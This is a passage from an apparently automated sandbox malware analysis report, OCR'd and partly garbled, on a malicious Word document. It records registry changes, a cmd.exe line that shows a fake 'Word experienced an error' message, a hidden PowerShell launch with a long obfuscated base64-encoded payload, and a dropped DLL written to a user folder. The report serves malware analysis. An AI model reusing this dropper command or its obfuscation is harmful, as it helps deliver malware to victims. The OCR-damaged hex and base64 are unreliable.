04 00 00 00 69 00 6D 00 67 00 73 00
00 00 00 00 01 00 00 00 00 00 00 00
5E F9 94 46 C3 05 D7 01 BA 47 OF
00 BA 47 OF 00 00 00 00 00 DB 04 00
00 02 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

Completion

Source
Count Address

Symbol
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Key Path

Key Value Modified

Key Path

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_CURRENT_USER\Softwa
re\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F47BA

Copyright null 2021

Name

ProductFiles

ProductFiles

FATBA

Name

Type

dword

dword

binary

Type

00 00 00 00 00 00 00 00 00 00 00 00
BR€0 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 FF FF FF FF

Old Data
1381040174

1381040175

04 00 00 00 04 07 00 00 2A 00
00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D
00 67 00 73 00 2E 00 68 00 74
00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00
5E F9 94 46 C3 05 D7 01 BA
47 OF 00 BA 47 OF 00 00 00
00 00 DB 04 00 00 02 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

New Data

1381040175

1381040176

04 00 00 00 04 07 00 00 2A 00 success or wait

00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D
00 67 00 73 00 2E 00 68 00 74
00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 BA 47
OF 00 BA 47 OF 00 00 00 00
00 DB 04 00 00 02 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Completion

success or wait

success or wait

Count Address

Count Address

1

1

1

Source
Symbol

Source
Symbol

7FEE90A9ACO unknown

7FEE90A9ACO unknown

7FEE90A9ACO unknown
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Key Path

Copyright null 2021

Name

Type

00 00 00 00 00 00 00 00 00 00
2AcPB QR 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
RRACHRHO 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Source
Count Address

Symbol
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00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Source

Key Path Name Type QNPDAA00 00 00 00 FF FF  R@RODHA0 00 00 FF FF FF Completion Count Address Symbol
FF FF FF

Analysis Process: cmd.exe PID: 1084 Parent PID: 1220

General

Start time: 22:56:34

Start date: 17/02/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: cmd cmd /c m"s"g %username% /v Word exp”erien”ced an er*ror tryi*ng to op”en th”e fi*le.

& p~owe”rs*heNIN -w hirdd”en -“e”nc IAAGAFMAdgAgACAAUABCADUAbWAgAC
AAKABbAFQAWQBWAEUAXQA0ACIAewAyAHOAeWAXAHOAeWALAHOAewAzZAHOAeW
AWAHOAewA2AHOAeWAOAHOAIGAGACOARGAGACCAVAANACWAIWBFAEOALGBJIAC
CALAANAFMAWQBZzAFQAIWASACCAZQBDACCALAANAHKAIWASACCABWAUAEQASQ
BSACCALAANAEBAUGANACKAIAAPACAAOWAJACAAUWBFAHQALQBIAFQARQBIAC
AAdgBBAFIASQBhAEIATABIADOABQA3AGEAOQAgACJAWWBOAHKACABFAFOAKA
AIAHSANAB9AHSAMgBIAHSAMWBIAHSANQBIAHSAMQBIAHSANgBIAHSAMABIAH
SANWB9ACIAIAAAGY AJWBUACCALAANAEKAQWBFAHAATWBIAE4AJABLACCALA
ANAG4AZQBUACCALAANACAAIWASACCACWB5AFMAJABIAEOALGANACWAIWBZAE
UAUgB2ACCALAANAEEAJWASACCAY QBHAGUACYANACKAIAAPACAAIAATACAAIA
AKAEKAaAB2ADgAOQBFAGCAPQAKAEOAOQAXAECAIAATACAAWWBJAGIAY QBYAF
0AKAAZADMAKQAQACSAIAAKAEgAMgAZAEQAOWAKAEQAOQAOAEOAPQACACIAIW
BQADCAJWArACCAMgANACKAKWANAFgAJWAPADSAIAAOAGCARQBUACOAdgBhAH
1AaQBhAEIAbABIACAACABIADUAbWAJACOAVYBBACKAOGABACIAYWBYAEUAYQ
BUAGUAZABPAGAAUgBIAEMAJABJAGBAUgBZACIAKAAKAEgGATWBNAEUAIAArAC
AAKAA0ACGAIWASAGSAIWATACCAdABOAGSAIWAPACSAIWAYACCAKWANAGQAIW
ArACgAIWB1AGgAYJASACCAKWANAGSAdJAANACSAIWBHAHGABABOACCAKQAIAC
gAIWASAGKAIWArACCAY QASAGSAJAANACKAKQAUACIACgBFAGAAUABSAGEAQW
BIACIAKAAOACCAOQANACSAIWBIAHQAIWAPACWAIWBCACCAKQAPACKAOWAKAE
0AOAA3AEgAPQAOACCAUWANACSAKAANADMANGANACSAIWBOACCAKQAPADSAIA
AOACAAIAB2AGEAUgBIAGEAYgBSAGUAIAAGAEOANWBhADKAIAAGACOAVYBBAC
AAIAAPADOAOGAIAFMARQBJAHUACGBpAFQAWQBWAGAAUGBVAFQAbwBDAGAAbwW
BMACIAIAA9ACAAKAAOACCAVABSACCAKWANAHMAIWAPACSAIWAXADIAIWAPAD
SAJABYADIAMgBVADOAKAANAEUAIJWArACgAIWBFACCAKWANAFBARQANACKAKQ
A7TACQAUAAYADCACABXAGUAMWAGADOAIAAOACCARQA2ACCAKWANAFBAUgANAC
KAOWAKAEY AMWASAEWAPQA0ACYAIJWBRACCAKWANADKANAANACKAKWANAFCAIW QANACSAKA
AnAHIAJWArACCcAZQBVAGAAIWAPACSAKAANAGWAIWArACCAaQBUACCAKQArAC
gAIWBIACCAKWANACAAYWANACKAKWAOACCAbBWBIACBAZAANACSAIWBIACCAKQ
ArACgAIWAUAGWAJIWAIrACCAZQBOACCAKQArACCcAcwWBjACCAKWANAGBABQANAC
SAJWBWACCAKWANAGEAJWArACcAcgBIACCAKWANAG8AbgANACSAKAANAGWAaQ
ANnACsAIWBUAGUAIWAPACSAKAANACAAIWArACCAYWBVAGOAIWArACCALWB3AF
kAZAAVACCAKWANACEAeAAgACCAKQArACCAWWANACSAKAANACAACWANACSAIW
BOACAAYgANACSAIWABACBAIWAPACSAIWAVACCAKWANAGMAY QANACSAIWBIAG

Copyright null 2021 Page 46 of 54



IAJWArACcAaQANACSAKAANAGEACWB1AGgAIWArACcAaQANACKAKWAOACCACW
BOAG8ACgANACSAIWBpPAGEAIJWArACCALYBNAHIAbWB3ACCAKQArACCAbAANAC
SAJWBhAGIAIWArACgAIWAUACCAKWANAGUACWAVAHCACAANACSAIWALACCAKQ
ArACcAYWBVACCAKWANAG4AdAANACSAIWBIAGAAIWArACCAdAANACSAKAANAC
8AaAANACSAIWBHAGYAWQANACKAKWANADIALWANACKALGAIAHIAYABIAHAAYA
BMAEEAQWBIACIAKAACACCcAeAAGACCAKWANAFSAIWArACgAIWAGAHMAAAANAC
SAJWAJAGIAIWAPACKALAAOAFSAY QBYAHIAYQB5AFOAKAANAG4AagANACWAIWCcAKWANADYAWgANACKA

Imagebase: 0x4a770000
File size: 345088 bytes
MD5 hash: 5746BD7E255DD6ABAFA06F7C42C1BA4L
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate

Analysis Process: msg.exe PID: 592 Parent PID: 1084
General
Start time: 22:56:35
Start date: 17/02/2021
Path: C:\Windows\System32\msg.exe
Wow64 process (32bit): false
Commandline: msg user /v Word experienced an error trying to open the file.
Imagebase: 0xff770000
File size: 26112 bytes
MD5 hash: 2214979661E779C3E3C33D4F14E6F3AC
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate

Analysis Process: powershell.exe PID: 1320 Parent PID: 1084
General
Start time: 22:56:35
Start date: 17/02/2021
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): false
Commandline: powershell -w hidden -enc IAAGAFMAdgAgACAAUABCADUAbWAgAC

AAKABbAFQAWQBWAEUAXQAOACIAeWAYAHOAeWAXAHOAeWATAHOAeWAZAHOAEW
AWAHOAeWA2AHOAeWAOAHOAIGAGACOARGAGACCAVAANACWAIWBFAEOALGBIAC
CALAANAFMAWQBZAFQAJWASACCAZQBDACCALAANAHKAIWASACCADWAUAEQASQ
BSACCALAANAESAUGANACKAIAAPACAAOWAGACAAUWBFAHQALQBJIAFQARQBIAC
AAdgBBAFIASQBhAEIATABIADOADQA3AGEAOQAJACIAWWBOAHKACABFAFOAKA
AAHSANABIAHSAMgBIAHSAMWBIAHSANQBIAHSAMQBIAHSANGBIAHSAMABIAH
SANWBOACIAIAAAGYAIWBUACCALAANAEKAQWBFAHAATWBJIAE4AJABIACCALA
ANAGAAZQBUACCALAANACAAIWASACCACWBSAFMAIABIAEOALGANACWAIWBZAE
UAUQB2ACCALAANAEEAIWASACCAYQBHAGUACGANACKAIAADACAAIAATACAAIA
AKAEKAaAB2ADgAOQBAGCAPQAKAEOAOQAXAECAIAATACAAWWBAGGAY QBYAF
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UVARAAZAVINIAKYAYALUSAIAAKAECYAVIJALAEYAUWAKAEYAUVYAUVAEUVAF YAVALYAIW
BQADCAJWArACCAMgANACKAKWANAFgAJWAPADSAIAAOAGCARQBUACOAdgBhAH
1AaQBhAEIAbABIACAACABIADUAbWAJACOAVYBBACKAOGABACIAYWBYAEUAYQ
BUAGUAZABPAGAAUYBIAEMAJABJAGBAUgBZACIAKAAKAEgGATWBNAEUAIAArAC
AAKAAOACGAIWASAGSAIWArACCAdABOAGSAIWAPACSAIWAYACCAKWANAGQAIW
ArACgAIJWB1AGgAYJASACCAKWANAGSAdJAANACSAIWBHAHGADABOACCAKQAIAC
gAIWASAGKAIWArACCAY QASAGSAJAANACKAKQAUACIACgBFAGAAUABSAGEAQW
BIACIAKAAOACCAOQANACSAIWBIAHQAIWAPACWAIWBCACCAKQAPACKAOWAKAE
0AOAA3AEgAPQAOACCAUWANACSAKAANADMANGANACSAIWBOACCAKQAPADSAIA
AOACAAIAB2AGEAUgBIAGEAYgBSAGUAIAAGAEOANWBhADKAIAAGACOAVYBBAC
AAIAAPADOAOGAIAFMARQBJAHUACBpAFQAWQBWAGAAUGBVAFQAbwBDAGAAbwW
BMACIAIAA9ACAAKAAOACCAVABSACCAKWANAHMAIWAPACSAIWAXADIAIWAPAD
SAJABYADIAMgBVADOAKAANAEUAIJWArACgAIWBFACCAKWANAFBARQANACKAKQ
ATACQAUAAYADCACABXAGUAMWAGADOAIAAOACCARQA2ACCAKWANAFBAUgANAC
KAOWAKAEY AMWASAEWAPQA0ACYAIJWBRACCAKWANADKANAANACKAKWANAFCAIW]AGBABQAVAGMAJIWAPACSAIWBNACCAKWAOAC QANACSAKA
AnAHIAJWArACCcAZQBVAGAAIWAPACSAKAANAGWAIWArACCAaQBUACCAKQAIAC
gAIWBIACCAKWANACAAYWANACKAKWAOACCAbBWBLACBAZAANACSAIWBIACCAKQ
ArACgAIWAUAGWAJIWAIrACCAZQBOACCAKQArACCcAcwWBjACCAKWANAGBABQANAC
SAJWBWACCAKWANAGEAJWArACcAcgBIACCAKWANAG8AbgANACSAKAANAGWAAQ
ANnACsAIWBUAGUAIWAPACSAKAANACAAIWArACCAYWBVAGOAIWArACCALWB3AF
kAZAAVACCAKWANACEAeAAgACCAKQArACCAWWANACSAKAANACAACWANACSAIW
BOACAAYJANACSAIWABACBAIWAPACSAIWAVACCAKWANAGMAY QANACSAIWBIAG
IAJWArACcAaQANACSAKAANAGEACWB1AGgAIWArACcAaQANACKAKWAOACCACW
BOAG8ACgANACSAIWBpPAGEAIJWAIrACCALYBNAHIAbWB3ACCAKQArACCAbAANAC
SAJWBhAGIAIWArACgAIWAUACCAKWANAGUACWAVAHCACAANACSAIWALACCAKQ
ArACcAYWBVACCAKWANAG4AdAANACSAIWBIAGAAIWArACCAdAANACSAKAANAC
8AaAANACSAIWBHAGYAWQANACKAKWANADIALWANACKALGAIAHIAYABIAHAAYA
BMAEEAQWBIACIAKAACACCcAeAAGACCAKWANAFSAIWArACgAIWAGAHMAAAANAC
SAJWAJAGIAIWAPACKALAAOAFSAY QBYAHIAYQB5AFOAKAANAG4AagANACWAIWANACKAfQB9AGMAYQBOAGMAaAB7AHOAfQAKAFEAMAAOAFYAPQAOACCASQAYAC

cAKWANADYAWgANACKA
Imagebase: 0x13f070000
File size: 473600 bytes
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MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Path
C:\Users\user\Nk2duhb

C:\Users\user\Nk2duhb\Gxlh9ia

C:\Users\user\Nk2duhb\GxIh9ia\E6_R.dll

File Deleted

File Path
C:\Users\user\Nk2duhb\GxIh9ia\E6_R.dll

Old File Path

File Written

File Path
C:\Users\user\Nk2duhb\GxIh9ia\E6_R.dll

Copyright null 2021

852D67A27E454BD389FA7F02A8CBE23F
true
true

Net C# or VB.NET

high
Access Attributes Options Completion
read data or list device directory file | success or wait

directory | synchronous io

synchronize

non alert | open
for backup ident
| open reparse

point
read data or list device directory file | success or wait
directory | synchronous io

synchronize

read attributes | device
synchronize |
generic write

non alert | open
for backup ident
| open reparse
point

synchronous io  success or wait
non alert | non

directory file |

open no recall

Completion

success or wait

Source
Count Address Symbol
1 7FEE876BEC7 CreateDirectoryW
1 7FEE876BEC7 CreateDirectoryW
4 7FEE876BEC7 CreateFileW
Source
Count Address Symbol
3 7FEE876BEC7 DeleteFilewW

Source
New File Path Completion Count Address Symbol
Source
Offset Length Value Ascii Completion Count Address Symbol
unknown 4096 4d 529000030000 MZ.......ccuveenneeens @..... success or wait 14 7FEE876BEC7 WriteFile

00 04 00 00 00 ff ff
00 00 b8 00 00 00 00 ... L.IThis program
00 00 00 40 00 00 00 cannot be run in DOS

00 00 00 00 00 00 00 mode....

00 000000000000 $....... PE.L..F. ...
00 00 00 00 000000 ....2.@. P. P..
00 00 00 00 00 00 00
00 00 00 00800000 ...
00 Oe 1f ba Oe 00 b4
09 cd 21 b8 01 4c cd
21546869 73 20 70
72 6f 67 72 61 6d 20
63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20
69 6e 20 44 4f 53 20
6d 6f 64 65 2e 0d 0d
0a 24 00 00 00 00 00
00 00 50 45 00 00 4c
01 09 00 86 46 Ob 60
00 00 00 00 00 00 00
00 €0 00 Oe 21 Ob 01
02 32 00 40 00 00 00
fa 04 00 00 00 00 00
50 19 00 00 00 10 00
00 00 50 00 00 00 00
00 10 00 10 00 00 00
02 00 00 03 00 00 00
00 00 00 00 04 00 00
00 00 00 00 00 00 bO
05 00 00 04 00 00 18
¢6 05 00 02 00 00 00
00 00 10 00 00 10 00
00 00 00 10 00 00 10
00 00 00 00 00 00 10
00 00 00 00 00 00 00
00 00 00
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File Path
C:\Users\user\Nk2duhb\GxIh9ia\E6_R.dll

Offset Length

unknown 8703

File Read

File Path

